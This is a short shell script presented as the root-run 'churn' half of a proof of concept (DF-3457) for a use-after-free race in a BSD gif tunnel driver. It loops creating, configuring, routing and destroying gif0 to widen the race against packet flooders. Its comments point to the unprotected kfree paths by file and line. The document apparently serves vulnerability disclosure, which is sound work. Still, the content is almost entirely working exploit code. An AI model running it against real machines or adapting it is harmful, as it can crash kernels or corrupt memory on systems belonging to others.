#!/bin/sh
# DF-3457 PoC - privileged churn side (run as root).
#
# Creates gif0 (tunnel to a BLACKHOLE outer dst 127.0.0.99 so encapped
# traffic never echoes back), configures inner addr + flood route,
# holds it up ~2ms (flooders enter gif_output/in_gif_output; the
# gif_ro route-cache slow path runs on the first packet after every
# recreate -> wide race window), then destroys gif0.
#
# gif_clone_destroy() (if_gif.c:176) is the unprotected teardown:
# gif_delete_tunnel() kfrees gif_psrc/gif_pdst (if_gif.c:821-828) and
# kfree(sc) (if_gif.c:200) while holding NO gif0 ifnet serializer,
# while in-flight gif_output()/in_gif_output() on another CPU holds
# only gif0's if_serializer -- which the destroy path never acquires
# (the SIOCSIFPHYADDR path does, via ifnet_serialize_all, if.c:2350).
#
# usage: churn.sh [seconds]
T="${1:-300}"
END=$(( $(date +%s) + T ))
N=0
while [ "$(date +%s)" -lt "$END" ]; do
    ifconfig gif0 create >/dev/null 2>&1
    ifconfig gif0 tunnel 127.0.0.1 127.0.0.99 >/dev/null 2>&1
    ifconfig gif0 10.98.0.1 10.98.0.2 up >/dev/null 2>&1
    route delete -net 10.99.0.0/24 >/dev/null 2>&1
    route add -net 10.99.0.0/24 -iface gif0 >/dev/null 2>&1
    sleep 0.001 2>/dev/null
    ifconfig gif0 destroy >/dev/null 2>&1
    N=$((N + 1))
done
echo "churn cycles: $N"
